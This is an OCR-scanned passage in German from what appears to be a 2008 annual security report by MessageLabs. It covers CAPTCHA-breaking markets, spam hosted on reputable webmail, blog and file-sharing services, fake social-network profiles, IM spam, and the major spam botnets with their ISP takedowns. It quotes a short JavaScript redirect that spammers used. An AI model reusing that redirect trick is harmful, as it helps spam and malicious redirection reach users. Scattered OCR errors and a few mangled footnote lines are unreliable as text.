und Beschreibung von typischen Web-Anwendungen, die auf diese Wege angegriffen werden:

o Die Registrierung kostenloser E-Mail-Accounts: Spammer kbnnen CAPTCHAS
nutzen, um einfach massenweise E-Mail-Accounts anzulegen. Besonderer Beliebtheit
als Ziel derartiger Angriffe erfreuen sich renommierte Anbieter von kostenlosen
Webmail- und Anwendungsdiensten im Internet. Mit den erzeugten Benutzerkonten
kébnnen Spammer unbegrenzt viele Junkmails versenden. Die Uber die E-Mail-Server
solcher Anbieter verschickten Spam-Nachrichten erhalten zudem tber die jeweils
eingesetzten Authentisierungs- und Validierungssysteme korrekte digitale Signaturen.
DomainKeys Identified Mail (DKIM) zum Beispiel nutzt stets eine im Header eingefugte
digitale Signatur als Hinweis, dass es sich um eine authentische und nicht um eine
gefalschte E-Mail handelt. Folglich fallt es Spam-Filtern schwerer, die auf diesem Wege
erzeugten Mails anhand der Absender-IP-Adressen als Spam auszusortieren.

o Das Anlegen von Benutzerkonten auf Social-Networkin ~ g-Seiten : Spammer haben
auch grol3es Interesse daran, sich massenhaft Accounts bei Social-Networking-, Blog-,
Video- und Foto-Portalen zu verschaffen, bei denen eine Registrierung als Nutzer
ebenfalls an eine erfolgreich absolvierte CAPTCHA-Prifung gebunden ist. Solche auf
die Kontaktpflege zwischen den Besuchern ausgerichteten Websites bieten jeweils
reichhaltige Interaktionsmdoglichkeiten wie beispielsweise ,Lade einen Freund ein®,
.veroffentliche dieses Video*, ,Versende eine Nachricht an deine Freunde” oder
2Hinterlasse einen Kommentar zu diesem Video“. Sobald sie sich als Mitglied registriert
haben, kbnnen Spammer ihre Botschaften wahlweise als Kommentare zu Videos
posten, Uber den Freunde-Verteiler verbreiten und an reale E-Mail-Accounts schicken.
Entsprechende Beispiele werden weiter unten in diesem Bericht erlautert.

o0 Manipulation von Suchmaschinen-Rankings : Spammer kdnnen automatisch
Kommentare in Blogs, Chats und Diskussionsforen hinterlassen, bei denen vor dem
Schreiben von Beitrdgen eine CAPTCHA-Prifung zu tberwinden ist. Und es existiert
eine ganze Reihe an guten Grunden, warum dies fur sie von Interesse ist. Eine wichtige



Motivation besteht darin, die Platzierung von bestimmten Internetseiten in den Rankings
der bedeutendsten Suchmaschinen zu verbessern. Es gibt viele Faktoren, die Einfluss
auf die Platzierung von Websites haben, und genau deshalb werden spezielle SEO-
Services (Search Engine Optimization) angeboten. Spammer werben mit solchen
Diensten und versprechen, die betreffenden Seiten binnen weniger Tage oder Wochen
im Ranking der Internetsuchmaschinen nach vorne zu bringen. Die Ver6ffentlichung von
Spam-Kommentaren ist einer der gebrduchlichsten Tricks, die sie dabei verwenden.

o Woérterbuchangriffe : Internetbetriiger kdnnen Techniken zur Uberwindung von
CAPTCHAs auch dazu nutzen, um die richtigen Passworter zum Einloggen in fremde
Benutzer-Accounts zu erraten. Haufig werden CAPTCHAs verwendet, um nach einer
gewissen Anzahl von Fehleingaben sicherzustellen, dass es sich bei dem User um eine
menschliche Person und nicht um ein Bot handelt. Auf diese Weise eingesetzt, dienen
diese Prufungen dazu, Worterbuchangriffe aufzuhalten. Mit einem geknackten
CAPTCHA indes kdnnen Hacker unter Einsatz solcher Dictionary-Attacken die
gesuchten Passworter weitaus schneller finden, obschon einige Login-Systeme eine
maximale Anzahl fehlerhafter Passwort-Eingaben eingerichtet haben, um dem
vorzubeugen.

Der wesentliche Einfluss auf die ,Schattenwitschaft ”im Untergrund

Der zig Milliarden Dollar schwere Markt der Online-Unterwelt hat ganz unterschiedliche
Akteure in einem Milieu zusammengebracht, in dem sie ihre Techniken testen, ihre Tricks und
Schadprogramme verkaufen und gestohlene Identitdten sowohl im Hinblick auf das Internet als
auch auf das reale Geschaftsleben waschen kénnen. Folglich treffen auch auf dieses
weitgehend im Verborgenen existierende Wirtschaftssystem viele der Merkmale zu, die wir
auch von der Weltwirtschaft kennen. Cyber-Kriminelle arbeiten hart daran, neue Techniken zu
entdecken, mit denen sie ihre zwielichtigen Geschafte ausweiten kdnnen. Und gleichzeitig
versuchen sie kontinuierlich, effektivere Wege zu finden, um noch mehr Geld zu verdienen, die
Konkurrenz auszustechen sowie unentdeckt und im Geschaft zu bleiben.

Websites und Internetforen fur Freelancer haben sich zu popularen Plattformen entwickelt, auf
denen Malware-Autoren und CAPTCHA-Hacker auf einfache Weise weitere Kaufer und
Programmierer fur ihre Angebote finden und selbst ihre Dienste anbieten kdnnen. Das Risiko
gefasst zu werden, ist haufig sehr gering. Aus Sicht der Spammer sind Techniken zur
Uberwindung von CAPTCHAs fiir eine ganze Reihe von Anwendungen sehr niitzlich. Und
deshalb steigen viele von ihnen und auch andere Kriminellen in den Handel Uber derartige
Websites ein, um ihre Geschéfte ausweiten zu konnen.

Im folgenden Beispiel hat eine Anfrage nach Services zur CAPTCHA-Uberwindung gleich
Hunderte an einschlagigen Angeboten zur Folge gehabt.



Auf einer Freelancer-Website angebotene Dienste zum Knacken von CAPTCHAs.

Mit dieser Herangehensweise missen Spammer nicht einmal mehr selbst wissen, wie sie
CAPTCHAs knacken kdnnen. Vielmehr missen sie lediglich die notwendigen Gelder
bereitstellen und warten, bis geeignete Angebote eingehen.

Typisches Inserat fiir den Ankauf von Accounts, die mit Hilfe von Tools zur Ausheblung von
CAPTCHAs erstellt wurden.



AulRerdem bieten solche Internetseiten vor dem Hintergrund des offensichtlichen Mangels an
Ganovenehre auch (fur eine anteilige Gebuhr von zwei bis drei Prozent) einen Treuh&nder-
Service fur die Zahlungsabwicklung an, um Kaufer und Verkaufer zu schiitzen.

Spam und Hosting-Anwendungen im Internet

Nachdem sie erkannt haben, dass die zuvor fir ihre Zwecke eingerichteten Domains stets
schnell auf Blacklists landeten, sind Spammer auf den moéglicherweise idealen Weg zur
Verbreitung ihrer Inhalte gestol3en: Sie nutzen Links, die auf Adressen von grol3en, seridsen
Anbietern von E-Mail- und Anwendungsdiensten im Internet verweisen, die von
herkdmmlichen Spam-Filtern nicht blockiert werden.

Auf diese Weise erzeugen Spammer genau genommen Spam-Content, der sich zwischen den
vielen anderen Inhalten versteckt, die mit diesen Hosting-Anwendungen im Netz veroffentlicht
werden. Es handelt sich dabei auch nicht um Spam-Seiten im herkdmmlichen Sinne, sondern

vielmehr um Dokumente mit Werbung fir die Websites, die ein Adressat besuchen soll.



Beispiel fur eine Spam-Mail mit einem Link, der auf ein im Internet abgelegtes Dokument
verweist.

Diese Technik ist deshalb von Erfolg gekrént, weil auf Empfangerseite Ublicherweise keine E-
Mails abgefangen werden, nur weil diese eine URL enthalten, die auf einen grof3en und
renommierten Anbieter von Webmail-Diensten und Online-Anwendungen verweist. Folglich
landet der Spam mit hoherer Wahrscheinlichkeit im Posteingangsfach der Adressaten. Ein
Grol3teil des heutzutage abgefangenen Spams wird dank der Erkennung dubioser
Internetadressen in den E-Mails aufgehalten. Ein derartiger Ruckgriff auf im Web abgelegte
Dokumente tragt also dazu bei, dass Spam-Nachrichten nicht schon allein anhand der URL
ausgefiltert werden. Denn wirde man daran gehen, solche Domains beim Surfen im Internet
zu blockieren, hatte dies mit grofdter Wahrscheinlichkeit erhebliche unerwiinschte
Nebenwirkungen zur Folge.



Schon Mitte des Jahres 2008 hatten Spammer regelmalig viele Anbieter von Web-Diensten
fur ihre Zwecke missbraucht. Betroffen waren vor allem Online-Anwendungen, die sich dazu
nutzen lassen, Dokumente im Internet zu gestalten und zu publizieren sowie eigene Blogs und
Websites zu erstellen. Dies hat fur Spammer den eindeutigen Vorteil, dass es mit
herkdmmlichen Instrumenten zur Spam-Abwehr schwerer fallt, ihre Mails anhand der
eingebetteten Links abzufangen. Schlielilich enthélt ja jeder dieser Links den seridsen
Domain-Namen eines bekannten Anbieters von Online-Anwendungen.

Im Juli 2008 begannen Spammer damit, die Web-basierenden Tools eines gro3en Providers
fur ihre Zwecke einzuspannen, mit denen selbst Anfanger sehr einfach eine eigene
Internetseite im Wiki-Stil erstellen konnten. Der besondere Vorteil fir Spammer war allerdings
der, dass sich auf diese Weise URLs erzeugen und in Spam-Mails einbetten lie3en, die von
traditionellen, mit Signaturen arbeitenden Spam-Filtern aus den bereits genannten Griinden
nur schwerlich aussortiert werden konnten.

Beispiel fur eine Internetseite, die mit kostenlosen Wiki-Editier-Tools erstellt wurde.

Auch dieses Verfahren beruhte auf mit Hilfe von Programmen zur Ausheblung der CAPTCHA-
Prifungen angelegten Accounts bei Anbietern von Online-Anwendungen. Die anschliel3end
verschickten Spam-Mails enthielten dann Links zu den seridsen Domains dieser Provider.

H&aufig werden bei der Generierung der URLSs sinnvolle Bezeichnungen oder sogar die
jeweiligen Namen der Account-Inhaber herangezogen, sodass sich fir Spam missbrauchte
Benutzerkonten einfach identifizieren lassen. Bei einigen der Online-Anwendungen im Internet
sind die erzeugten URLs jedoch schwerer abzufangen, weil diese den Namen des Service-
Anbieters lediglich mit einer zuféllig erscheinenden Kette von Buchstaben und Zahlen
kombinieren.



Ein &hnlicher Ansatz ist der Ruckgriff auf kostenlose Fotoportale, um Bilder im Internet zu
hinterlegen, die sich dann in Spam-E-Mails im HTML-Format einbinden lassen — eine Technik,
die Ende 2007 fur einen Teil des Image-Spams zur Borsenkursmanipulation genutzt wurde. Im
August 2008 entdeckte Messagelabs Intelligence jedoch die ersten Félle von Grafiken, die auf
den Servern von popularen Online-Anbietern lagen, die ihren Benutzern das Hochladen und
die Veroffentlichung von Fotoalben im Internet ermdglichen. Die hinterlegten Bilder tauchten
sowohl in Spam- als auch in Malware-E-Mails auf, und die zum Upload verwendeten Accounts
wurden erneut mit automatischen Tools zur Losung der CAPTCHA-Prufungen angelegt.

Die Verwendung der besagten Bilder in den verschickten Spam-Nachrichten ist denkbar
einfach: Die Spammer legen zunachst Gber einen Account beim jeweiligen Online-Anbieter ein
Web-Album an und nutzen die Bilder dann in Spam-E-Mails. Die Speicheradresse jeder
Grafikdatei, die stets auch den glaubwirdigen Namen des jeweiligen Anbieters enthalt, wird
Uber ,Eigenschaften” aufgerufen und dann in die Spam-Mail im HTML-Format eingefigt.

Auch diese Vorgehensweise macht es Spam-Filtern enorm schwer, solche E-Mails aufgrund
der enthaltenen URLs abzufangen, ohne damit rechtmé&Rige Anwender erheblich zu
beeintrachtigen.

Weiterhin nimmt auch die Zahl der erstellten Spam-Blogs zu, seit es Spammern relativ leicht
fallt, mit Hilfe von Tools zur Ausheblung von CAPTCHAs kostlose Blog-Seiten fur die Ablage
von Spam-Inhalten im Web zu nutzen. Einer der grof3en Anbieter von Online-Anwendungen,
der seinen Benutzern das Anlegen eigener Blogs ermdglicht, war bereits in der Vergangenheit
zu Spam-Zwecken missbraucht worden. Im Oktober 2008 sah er sich nun jedoch einem
weitaus aggressiveren Angriff durch Spammer ausgesetzt, die mit Tools zum Knacken der
verwendeten CAPTCHAs bewaffnet waren.

Die verbreiteten Spam-Nachrichten enthielten Links zu scheinbar harmlosen Blog-Seiten, tber
die Besucher jedoch nach ein paar Sekunden zu den eigentlichen Spam-Websites
weitergeleitet wurden.



In Spam-Mails verlinktes Blog, das Besucher unmittelbar auf eine Spam-Website weiterleitete.

Spam und File-Sharing-Anwendungen im Internet

2008 hatten Spammer es auch auf kostenlose File-Sharing-Angebote abgesehen, die von
Anbietern Web-basierender E-Mail- und Anwendungsdienste bereitgestellt wurden.
Registrierte Mitglieder haben auf solchen Plattformen die Mdglichkeit, eigene Dateien
hochzuladen und mit anderen Internet-Usern Uber Links auszutauschen, die jeweils den
seribsen Namen des Hosting-Anbieters enthalten. MessageLabs Intelligence hat Spam-
Nachrichten aufgespiirt, die per Link mit kleinen, auf diese Weise hochgeladenen HTML-
Dateien verknupft waren. Diese ihrerseits leiteten die Web-Browser ihrer Besucher auf die
eigentliche Spam-Seite weiter. Dazu diente ein simples JavaScript-Programm, wie es hier zu
sehen ist:

<script language=JavaScript>
window.location.replace("http://[spam Website remov ed].com")
</script>




Kostenlose Angebote fur das Hosting von Blogs sahen sich offensiveren Angriffen seitens
Spammern ausgesetzt, die mit Tools zur Ausheblung von CAPTCHAs arbeiteten, um auf diese
Weise geturkte Nutzerprofile zu erstellen und mit Spam-Inhalten zu flllen. Die Links auf diese
Blogs wurden anschliel3end jeweils Uber Spam-Mails verbreitet.

Fur viele Unternehmen kdnnen sich daraus heikle Schwierigkeiten ergeben. Dies ist zum
Beispiel dann der Fall, wenn Domains eigentlich seridser Blogging-Anbieter genutzt werden,
um pornografische Inhalte ins Internet zu stellen. Auf Sicherheitslinien aufbauende,
regelgesteuerte Spam-Filter bieten unter Umstanden keinen Schutz vor dem Besuch solcher
Seiten, wenn ein Anwender einen entsprechenden Link anklickt. Denn es gut mdglich, dass
Abwehr-Systeme die URL angesichts des guten Rufs der Domain als vertrauenswirdig
einstufen.

Beispiel fur einen kostenlosen, in Spam-Mails verlinkten Blog mit pornografischen Inhalten.



3.2.2 Spam uber soziale Online-Netzwerke

.Reden hilft”, lautet eine Redensart, doch im Geschaftsleben kommt es auch darauf an, was
man zu sagen hat und zu wem man es sagt. Diese simple Weisheit hat sich 2008
bewahrheitet. Also in einem Jahr, in dem zahlreiche der popularen Social-Networking-Portale
an der Demokratisierung des Cyberspace gearbeitet haben. Viele Unternehmen hatten ihre
Schwierigkeiten im Umgang mit diesen Kontaktnetzwerken im Internet — ganz ahnlich, wie sie
es vor wenigen Jahren nicht einfach fanden, sich mit Blogs und Podcasts anzufreunden und
deren Vorteile und Risiken abzuwéagen.

Im Laufe des Jahres 2008 hat sich die Gefahr, die Spammer und Internetkriminelle mit
Angriffen auf Social-Networking-Umgebungen heraufbeschwdren, zu einer sehr ernsthaften
Bedrohung entwickelt. Techniken des Social Engineerings wurden auf diese neuen
Kommunikationskanale tbertragen, und die Kunst der Irrefihrung und Manipulation wurde in
Geschéaftsmodelle Gberfuhrt, die sich in der Schattenwirtschaft in gro3em Mal3stab umsetzen
lassen.

2008 tauchten gefalschte Nutzerprofile von Prominenten sowie von den Mitgliedern einiger
Kdnigshauser auf und machten Schlagzeilen. Angesichts der riesigen Zahl von Menschen, die
sich in Online-Netzwerken zur Kontaktpflege zusammenfinden, stellte sich die Frage, ob
derartige Tauschungsmanover auch die Geschaftswelt treffen kdnnten. Was den
Identitatsdiebstahl betrifft, gelten die Nutzerprofile auf Social-Networking-Seiten unter Cyber-
Kriminellen als wertvolles Gut, und derartige Missbrauchsversuche stellen ein erhebliches
Risiko fur Firmen dar. Aktuelle Erkenntnisse von Messagelabs Intelligence belegen, dass so
etwas tatsachlich vorkommt. Nur ist es so, dass die meisten gefélschten Nutzerprofile eben
nicht so viel Medienaufmerksamkeit auf sich ziehen wie das eines beriihmten Promis.



Beispiel fur den Missbrauch eines ausgekundschafteten Nutzerprofils, um einen Spam-
Kommentar auf der Seite eines befreundeten Users zu posten.

Auch Social-Bookmarking-Seiten werden auf dhnliche Weise ins Visier genommen. Sobald ein
Spammer mit einer Bitte Erfolg hatte, ein anderer User moge ihn auf seine Freundesliste
setzen, kann er auf diese Weise Links zu seinen Websites verbreiten. Die Gefahr besteht
darin, dass ahnungslose Mitglieder erst dann merken, mit was fir einer Seite sie es zu tun
haben, wenn sich diese aufbaut — und dabei méglicherweise gefahrliche Ladung im Gepack
hat.

Spammer haben eine weitere Einsatzmaoglichkeit fur gultige, mit Hilfe von Tools zur
CAPTCHA-L6sung generierte E-Mail-Adressen entdeckt, indem sie diese mit getirkten
Benutzerprofilen auf Social-Networking-Seiten verlinken. Anschlie3end wird mit gezielter
Rankingmanipulation der Versuch unternommen, diese Profile in der Einstufung durch
Suchmaschinen nach vorne zu bringen. Haufig tauchen solche Eintrédge schon auf der
allerersten Ergebnisseite auf, bevor der Anbieter des Social-Networking-Portals den Account
sperren kann oder es dem Suchmaschinenbetreiber gelingt, die Inhalte als Spam zu
identifizieren.

Gegen Ende des Jahres 2008 wurden viele Benutzer der popularen Social-Networking-Seiten
mit ,Buddy“-Requests eingedeckt, in denen ihnen angebliche User tber allerdings getirkte
Profile eine Freundschaft antrugen. Dieser Ansatz funktioniert deshalb so gut, weil
herkdmmliche Spam-Filter nicht zwischen solchen und echten Anfragen dieser Art
unterscheiden konnen. Die verschickten Buddy-Requests wirkten authentisch, weil sie von der



echten Social-Networking-Seite stammten und deshalb auch tber vollstandige und korrekte
Header verfugten.

...Kar[redux] <yvx[redux]26 WbbDzZw@[Webmail domain].co m> has added
you as a friend on [social network]...
...Bre[redux] <Kmw[redux]B6rUF6xm@[Webmail domain].ne t> has added

you as a friend on [social network]...

Beispiel fur eine Uber ein gefalschtes Social-Networking-Profil verschickte Freundschafts-
Anfrage.

Hinzu kam, dass auch die an gefalschte Profile angehéngten E-Mail-Adressen giiltig waren,
obschon die Spammer sie missbrauchlich mit Tools zur automatischen CAPTCHA-LGsung
erzeugt hatten. Haufig besteht der einzige erkennbare Hinweise auf Spam darin, dass der
erste Teil der E-Mail-Adresse nur aus einer zufalligen Aneinanderreihung von Buchstaben
besteht oder Vor- und Nachnamen mit einigen Zufallszahlen kombiniert.

Das macht es schwer, zwischen der seriésen Kontaktaufnahme durch andere User und
solchen Anfragen zu unterscheiden, die von getirkten, zu Spamming-Zwecken automatisch
generierten Benutzerprofilen stammen. Ein gewisses Mal3 an Vorsicht gebietet sich wohl auf
jeden Fall, und Unternehmen sollten auch diese Problematik in Betracht ziehen, wenn sie das
Bewusstsein ihrer Mitarbeiter fur die potenziellen Social-Networking-Risiken wecken wollen.

Fir jeden ans Internet angebundenen Betrieb ist es wichtig, eine Benutzungsordnung fur den
Umgang mit Social-Networking-Seiten einzurichten. Und ebenso wichtig ist es, ein
Gleichgewicht zu finden zwischen den zur Uberwachung und Durchsetzung dieser Regeln
einzufihrenden Technologien und den erforderlichen WeiterbildungsmafRnahmen, die alle
Beschaftigten Uber die Risiken der Arbeit mit dem Internet aufklaren.



3.2.3 IM-Spam und -Malware

Ein Account bei seridsen Anbietern kostenloser Webmail-Dienste und Online-Anwendungen
verschafft Computerbesitzern haufig nicht nur zum Nulltarif einen E-Mail-Zugang, sondern
auch Zugriff auf das komplette IM-System (Instant Messaging) des Netzwerks. Das gilt jedoch
auch fur Benutzerkonten, die mit Hilfe von automatischen Tools zur CAPTCHA-L6sung
angelegt wurden.

Das folgende Beispiel veranschaulicht, wie Spammer beim automatischen Anlegen von
Accounts die Eintrage aus Vornamen- und Nachnamen-Verzeichnissen mit Zahlen
kombinieren. Die auf diesem Wege erzeugten, unverwechselbaren Benutzerkonten werden
nicht nur eingesetzt, um uber diesen Service authentifizierte Spam-Mails zu verschicken,
sondern auch um IM-Textnachrichten auf den Weg zu bringen, die deren Empfanger zum
Besuch maglicherweise geféhrlicher Websites verleiten sollen.

Automatisch vom Spammer gene-
rierter IM-Account als Kombination
von Namen und Zahlen.

Die IM-Nachricht enthalt einen Link
zur Website des Spammers.

200

Beispiel fur IM-Spam mit eingebetteten Links.



Die genauere Auswertung der in der zweiten Halfte des Jahres 2008 in IM-Nachrichten
eingefugten Links ergab, dass diese in 1 von 200 Fallen (0,5 Prozent) auf Malware-Websites
verwiesen, auf denen gefahrliche Inhalte hinterlegt waren.

3.2.4 Botnets — Die Entwicklungen (Teil 1. Spam)

Im Jahr 2007 entwickelten sich Botnets zur dominierenden Kraft bei der Verbreitung nicht nur
von Spam-Mails, sondern auch von Malware und Phishing-Attacken. 2008 waren sie fur rund
90 Prozent des gesamten Spam-Aufkommens verantwortlich, wobei ein bestimmtes Botnet als
Vorreiter den Weg ebnete: Storm.

Im Berichtsjahr geglickte Aktionen gegen Spam-Schle udern

Im ersten Quartal des Jahres 2008 entfielen ungefahr 20 Prozent des Spam-Aufkommens auf
Mails, die vom Botnet Storm ausgegangen waren. Doch im Marz 2008 erlebte Storm dann
einen massiven Rickschlag, als das Botnet auf ein Fiinftel seiner urspriinglichen Gréi3e
schrumpfte. Und als Microsoft das Schadprogramm im April mit Updates fur das Malicious
Software Removal Tool weiter ins Visier nahm, hatte dies zur Folge, dass die Kapazitat von
Storm von urspringlich rund zwei Millionen Knoten auf etwa 100.000 weltweit zurlickging.
Folglich wurde das Spam-Staffelholz von einem jlingeren, rivalisierenden Botnet namens
Srizbi tbernommen, dessen Name von den charakteristischen Merkmalen einer der Websites
herriihrte, von denen es seine Konfigurationsdaten heruntergeladen hat.

Im weiteren Verlauf des Jahres verschwand das Botnet Mega-D beinahe komplett von der
Bildflache, als ein in Kalifornien ansassiger ISP namens Intercage (bzw. Atrivo) am 20.
September vom Internet abgeklemmt wurde. Angesichts der Vorwiirfe, dass Intercage
diversen Online-Trickbetriigern, Internetgaunern und Malware-Autoren einen sicheren Hafen
bote, hatte der zustédndige Upsteam-Provider seine Dienste fur den ISP eingestellt. Nach ein
paar Tagen fand sich ein anderer Service Provider, der bereit war, das Hosting von Intercage
zu Ubernehmen. Jedoch kindigte auch dieser am 25. September seine Dienste auf, weil man
zu dem Schluss gekommen war, dass der offenbar skrupellose ISP immer noch zu viele
Probleme nicht geldst hatte®.

8 Detaillierte Informationen zu diesem Fall liefestgender Beitrag auf Spamhaus
www.spamhaus.org/news.lasso?article=640
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Aktivitat grol3er Botnets in dem Zeitraum, in dem Intercage vom Internet getrennt war.

Seit dem Niedergang von Intercage war die Spam-Belastung weltweit ricklaufig und erreichte
gegen Ende des dritten Quartals 2008 einen Anteil von 70 Prozent am E-Mail-Verkehr.

Darlber hinaus wurde Intercage gezwungen, seinem grof3ten Kunden zu kiindigen: EstHost,
einer estnischen Firma, die mutmallich fir einen erheblichen Teil der gesetzeswidrigen
Aktivitaten im Netzwerk des ISPs verantwortlich gewesen ist. Daraufhin entzog die ICANN
(Internet Corporation for Assigned Names and Numbers) im November dann auch
EstDomains, der Schwestergesellschaft von EstHost, die Registrierung. Begrindet wurde
dieser Schritt mit Hinweis auf ,eine Gerichtsakte aus Estland, aus der die Verurteilung des
damaligen EstDomains-Prasidenten Vladimir Tastsin wegen Kreditkartenbetrug, Geldwasche
und Urkundenfalschung hervorgeht*°.

Ebenfalls im November 2008 wurde ein zweiter kalifornischer ISP vom Netz genommen,
nachdem sich Indizien ergeben hatten, dass von dessen Netzwerk aus kriminelle Aktivitaten
ihren Ursprung nahmen. Die McColo Corporation habe demnach als Service Provider fur
einige der groRten Organisationen fungiert, die an der weltweiten Internetkriminalitat beteiligt
sind. Das Aufkommen an Uber die Botnets Srizbi, Rustock und Mega-D verschickten Spam-
Mails ging in den Tagen nach dem Schlag gegen den ISP rapide in den Keller.

° Die entsprechenden Schriftstiicke von ICANN sinerifotgender Adresse nachzulesen:
www.icann.org/correspondence/poltev-to-burnettee2@®-en.pdf
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Aktivitat grol3er Botnets in dem Zeitraum, in dem McColo vom Internet getrennt war.

Wahrend dieses Zeitraums beobachtete Messagelabs Intelligence, dass das Spam-
Aufkommen in den zwdlf Stunden unmittelbar nach der Abschaltung von McColo auf bis zu ein
Achtel der Ublichen Belastung zurtickging. Das unterstreicht, dass die Ausschaltung einiger
Hauptakteure der Spam-Okonomie im Untergrund bereits massive Auswirkungen auf die
weltweit zu messenden Spam-Quoten haben kann.

Weitere Analysen férderten zutage, das Mega-D einen Rickgang um 80 Prozent erlebte und
Srizbi um 60 Prozent. Das Spam-Aufkommen von Rustock sank um 50 Prozent und das von
ASPROX um 80 Prozent. In den 24 Stunden im Anschluss an die Abschaltung hatte sich der
gesamte Botnet-Verkehr um rund 30 Prozent reduziert.

In den Wochen, nachdem McColo vom Internet getrennt worden war, stiegen die Giber Rustock
und ASPROX verbreiteten Spam-Aufkommen jedoch wieder. Die zeitliche Verzdgerung
zwischen dem urspringlichen Einbruch der Spam-Zahlen und dem folgenden Anstieg wurde
darauf zuriickgefihrt, dass die Eigentimer der Botnets eine gewisse Zeit benotigten, um neue
Hosting-Anbieter zu finden.

Als sich das Jahr 2008 dem Ende néherte, waren sowohl Mega-D als auch Srizbi durch die
ISP-Abschaltungen ernsthaft zurtickgeworfen. Das fuhrte dazu, dass in den folgenden Wochen
konkurrierende Botnets dazu verwendet wurden, stetig steigende Spam-Aufkommen zu
verbreiten. Das galt unter anderem fir Cutwail und Warezov.

Srizbi war erstmals Mitte des Jahres 2007 aufgetreten und zu einem der mdglichen
Kandidaten fiir den Titel des am meisten bertichtigten Botnets geworden. Der Srizbi-Trojaner
ist in der Lage, sich unter Verwendung von ,Rootkit“-Techniken zu verbergen, und dient dem
Versand groRer Mengen von Spam-Mails.

Darlber hinaus agiert Srizbi als der fir den Mailversand zustandige Baustein innerhalb der
Spamware ,Reactor Mailer”. Dieses seit 2004 verbreitete Software-Modul dient heute dazu,
Spam Uber das Botnet von Srizbi zu verteilen. Anwender kénnen sich tber eine
passwortgeschitzte Website einloggen, um dann eigene Spam-Nachrichten hochzuladen und



zu bearbeiten und ihre Verteilerlisten mit E-Mail-Adressen anzupassen. Reactor Mailer stellt
Spammern ein Portal bereit, tiber das sich seine Dienste nutzen lassen, und macht sich auf
Grundlage einer Cloud-Computing-Architektur das SaaS-Modell (Software-as-a-Service) zu

Eigen.

Dieses Diagramm veranschaulicht, wie viel Spam tber die einzelnen Botnets verteilt wurde

(einschlieB3lich nicht zuzuordnender Quellen).

Botnet

GroRe™

Beschreibung

Storm

100.000

bestimmte die Szene von 2007 bis Anfang 2008

automatisch als Mehrzweckwaffe einsetzbar (E-Mail, Web, DDoS, DNS)
Peer-to-Peer

unterstutzt ,Fast-Flux”-DNS

verschlisselte Kommunikation

ab Februar zuriickgeworfen durch Updates von Microsoft Windows

Srizbi

1.300.000

O O0O|0OO0OO0O0OOo

o

50% des gesamten Spam-Aufkommens
Spam mit erfundenen Schlagzeilen im Betrefffeld, einschlieRlich Nennung von
Prominenten, gefahrlichen Links und getirkten Video-Portalen
SMTP-Engine im Kernel-Modus:

umgeht lokale Firewalls

sehr schnell und skalierbar

anpassbarer TCP-Stack (zur Umgehung der Windows-Sicherheitssysteme)
Botnet hinter der Spamware ,Reactor Mailer”
betroffen von der Abschaltung von McColo im November (minus 60%)

9 Die GroRe bezieht sich jeweils auf die Zahl deivaém Spam-Versand beteiligten IP-Adressen urffi kéine Aussagen
zur tatsachlichen, die angegebenen Zahlen stetsiitmrtreffenden Dimension und Macht der jeweiligetnets.




Cutwail

1.000.000

25% des gesamten Spamaufkommens

auch bekannt als Pushdo

Spam fir Penisverlangerungspraparate

Verbreitung Uber angebliche GruBkarten (Links zu Malware-Seiten)

Gheg

500.000

O 0|00 OO

auch bekannt als Virtumonde, Mondera, Tofsee oder Saturn Proxy (kein Proxy)
eingesetzt zur Verbreitung von Spam in franzdsischer Sprache und fur
pharmazeutische Produkte

Mega-D

150.000

O oo

auch bekannt als Ozdok

beruht auf Command & Control

betroffen von der Abschaltung von Intercage und McColo im September und
November (minus 80%)

ASPROX

100.000

speziell zur Durchfiihrung von SQL-Injection-Angriffen konzipiert
infiziert anféllige Websites mit Hilfe von JavaScript-Schadprogrammen
in erster Linie fUr Phishing eingesetzt

betroffen von der Abschaltung von McColo im November (minus 80%)

Rustock

90.000

OO0 O0OO0O0OO0O OO

von einigen Spammern zusammen mit Srizbi genutzt

versteckte Prozesse dank Rootkit im Kernel-Modus

verwendet verschliisseltes Command & Control

Spam mit erfundenen Schlagzeilen im Betrefffeld, einschlie3lich Nennung von
Prominenten, geféhrlichen Links und getirkten Video-Portalen

betroffen von der Abschaltung von McColo im November (minus 50%)

Warezov

50.000

O O O0OO0OO0OOoO|0

0

verwendet Downloader-Mechanismen zur Installation von Software
unterstutzt ,Fast-Flux”-DNS

setzt auf Reverse-Web-Proxy, um Hauptserver zu verbergen

nutzt ausgedachte, zufallig wirkende Domain-Namen

dient zur Verbreitung von Aktien-Spam (Pump-and-Dump-Kampagnen)
verbreitet Webmail-Spam (Uber geknackte CAPTCHA-Accounts)
betroffen von der Abschaltung von McColo im November

Uberblick Uiber die bemerkenswerten Besonderheiten der bedeutenden Botnets vor den

Ruckschlagen im Herbst.

Einige Botnets verwenden das ,Fast-Flux’-Verfahren, um den wahren Speicherort von Spam-,
Malware- und Phishing-Seiten zu verschleiern, indem sie diese hinter rasend schnell
veranderten Web-Proxy-Adressen fiur jede Domain verstecken. Die wirksamste Mdglichkeit,
eine Fast-Flux-Domain zu stéren, besteht im Eingreifen der zustandigen Registrierungsstelle.
Das jedoch erweist sich haufig als schwierig, da diese Institutionen nicht immer schnell auf
entsprechende Antrage reagieren.

Im August 2008 stieg das Spam-Aufkommen infolge der fortgesetzten, aggressiven
Bemuhungen von Botnets, ihre Kapazitaten zu erhéhen, um mehr als das Zweifache.
Diesbeziiglich aktiv waren insbesondere Srizbi und Cutwalil, die Mitte des Jahres 2008 jeweils
um 20 bis 25 Prozent an Grol3e zulegten.




3.3 Die Spam-Prognose fir 2009

CAPTCHA und das Wettristen mit den Betriigern

Gaunern gelang 2008 das Undenkbare, als sie sich tiber ausgehebelte CAPTCHAS Zugang zu
hdchst effektiven Kanélen fir die Verbreitung von Spam verschafften. Fortan konzentrierten
sie sich auf Kampagnen uber seriose Webmail-Services. Denn zum einen werden die so
verschickten Nachrichten mit hoherer Wahrscheinlichkeit nicht von Spam-Filtern abgefangen,
und zum anderen er6ffnen sich auf solchen Seiten unter Verwendung authentischer E-Mail-
Accounts quasi unbegrenzte Moglichkeiten. 2009 werden die Anbieter von Online-Diensten auf
die Ausheblung ihrer CAPTCHA-Verfahren reagieren und diese verbessern oder auf andere
Ansatze umstellen. Nichtsdestotrotz geht MessagelLabs Intelligence davon aus, dass nur nach
personlicher Registrierung nutzbare Websites auch weiterhin Angriffe von Online-Betriigern
auf sich ziehen und mit ihren CAPTCHAs infolgedessen immer haufiger ins Leere greifen
durften.

Schon heute haben viele Menschen ihre Schwierigkeiten damit, CAPTCHAS mit visuellen
Prufungen oder Hortests korrekt zu absolvieren, und es wird zur Debatte stehen, ob die
